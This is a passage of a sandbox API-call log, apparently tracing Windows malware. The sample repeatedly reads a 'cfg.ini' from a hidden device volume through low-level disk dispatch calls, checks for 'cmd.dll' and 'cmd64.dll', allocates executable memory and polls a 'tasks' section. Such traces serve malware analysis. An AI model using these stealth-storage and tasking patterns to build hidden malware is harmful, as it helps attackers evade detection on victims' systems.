FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.365] KeLeaveCriticalRegion () [0119.365] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.365] KeEnterCriticalRegion () [0119.365] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.365] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.365] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.365] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.365] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.365] IdePortDispatch () returned 0x103 [0119.365] KeWaitForMutexObject () returned 0x0 [0119.366] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.366] KeLeaveCriticalRegion () [0119.366] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.366] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.366] KeEnterCriticalRegion () [0119.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.366] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d52000 [0119.366] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.366] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.366] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.366] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.366] IdePortDispatch () returned 0x103 [0119.366] KeWaitForMutexObject () returned 0x0 [0119.366] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.366] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.366] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.366] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.366] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.366] IdePortDispatch () returned 0x103 [0119.366] KeWaitForMutexObject () returned 0x0 [0119.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.366] KeLeaveCriticalRegion () [0119.366] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.367] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.367] KeEnterCriticalRegion () [0119.367] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.367] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.367] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.367] KeLeaveCriticalRegion () [0119.367] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.367] KeEnterCriticalRegion () [0119.367] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.367] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.367] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.367] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.367] KeLeaveCriticalRegion () [0119.367] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.367] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.367] KeEnterCriticalRegion () [0119.367] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.367] ExFreePoolWithTag (P=0xfffffa8003bafc40, Tag=0x0) [0119.367] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.367] KeLeaveCriticalRegion () [0119.367] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.367] ReleaseMutex (hMutex=0xf0) returned 1 [0119.367] Sleep (dwMilliseconds=0x927c0) [0119.383] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.383] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.383] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.383] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.383] KeEnterCriticalRegion () [0119.383] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.383] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.383] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.383] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.383] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.383] IdePortDispatch () returned 0x103 [0119.383] KeWaitForMutexObject () returned 0x0 [0119.384] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.384] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.384] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.384] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.384] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.384] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcb2b0 [0119.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.384] KeLeaveCriticalRegion () [0119.384] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.384] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.384] KeEnterCriticalRegion () [0119.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.384] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.384] KeLeaveCriticalRegion () [0119.384] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.384] KeEnterCriticalRegion () [0119.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.384] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.384] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.384] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.384] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.384] IdePortDispatch () returned 0x103 [0119.384] KeWaitForMutexObject () returned 0x0 [0119.384] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.384] KeLeaveCriticalRegion () [0119.384] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.384] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.384] KeEnterCriticalRegion () [0119.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.384] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d57000 [0119.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.385] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.385] IdePortDispatch () returned 0x103 [0119.385] KeWaitForMutexObject () returned 0x0 [0119.385] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.385] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.385] IdePortDispatch () returned 0x103 [0119.385] KeWaitForMutexObject () returned 0x0 [0119.385] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.385] KeLeaveCriticalRegion () [0119.385] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.386] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.386] KeEnterCriticalRegion () [0119.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.386] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.386] KeLeaveCriticalRegion () [0119.386] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.386] KeEnterCriticalRegion () [0119.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.386] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.386] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcbdc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.386] KeLeaveCriticalRegion () [0119.386] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.386] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.386] KeEnterCriticalRegion () [0119.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.386] ExFreePoolWithTag (P=0xfffffa8003bcb2b0, Tag=0x0) [0119.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.386] KeLeaveCriticalRegion () [0119.386] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.386] ReleaseMutex (hMutex=0xf0) returned 1 [0119.386] Sleep (dwMilliseconds=0x927c0) [0119.399] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.400] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.400] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.400] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.400] KeEnterCriticalRegion () [0119.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.400] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.400] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.400] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.400] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.400] IdePortDispatch () returned 0x103 [0119.400] KeWaitForMutexObject () returned 0x0 [0119.400] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.400] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.400] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.400] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.400] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.400] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbab0 [0119.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.400] KeLeaveCriticalRegion () [0119.400] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.400] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.400] KeEnterCriticalRegion () [0119.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.400] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.400] KeLeaveCriticalRegion () [0119.400] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.400] KeEnterCriticalRegion () [0119.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.400] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.400] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.400] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.400] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.400] IdePortDispatch () returned 0x103 [0119.400] KeWaitForMutexObject () returned 0x0 [0119.401] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.401] KeLeaveCriticalRegion () [0119.401] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.401] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.401] KeEnterCriticalRegion () [0119.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.401] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d5c000 [0119.401] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.401] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.401] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.401] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.401] IdePortDispatch () returned 0x103 [0119.401] KeWaitForMutexObject () returned 0x0 [0119.401] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.401] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.401] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.401] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.401] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.401] IdePortDispatch () returned 0x103 [0119.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.401] KeLeaveCriticalRegion () [0119.401] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.402] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.402] KeEnterCriticalRegion () [0119.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.402] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.402] KeLeaveCriticalRegion () [0119.402] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.402] KeEnterCriticalRegion () [0119.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.402] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.402] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.402] KeLeaveCriticalRegion () [0119.402] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.402] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.402] KeEnterCriticalRegion () [0119.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.402] ExFreePoolWithTag (P=0xfffffa8003bdbab0, Tag=0x0) [0119.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.402] KeLeaveCriticalRegion () [0119.402] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.402] ReleaseMutex (hMutex=0xf0) returned 1 [0119.402] Sleep (dwMilliseconds=0x927c0) [0119.417] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.417] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.417] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.417] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.417] KeEnterCriticalRegion () [0119.417] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.417] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.417] IdePortDispatch () returned 0x103 [0119.417] KeWaitForMutexObject () returned 0x0 [0119.417] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.417] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.417] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.417] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.417] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.417] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcb5b0 [0119.417] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.417] KeLeaveCriticalRegion () [0119.417] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.417] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.417] KeEnterCriticalRegion () [0119.417] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.418] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.418] KeLeaveCriticalRegion () [0119.418] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.418] KeEnterCriticalRegion () [0119.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.418] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.418] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.418] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.418] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.418] IdePortDispatch () returned 0x103 [0119.418] KeWaitForMutexObject () returned 0x0 [0119.418] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.418] KeLeaveCriticalRegion () [0119.418] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.418] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.418] KeEnterCriticalRegion () [0119.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.418] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d61000 [0119.418] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.418] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.418] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.418] 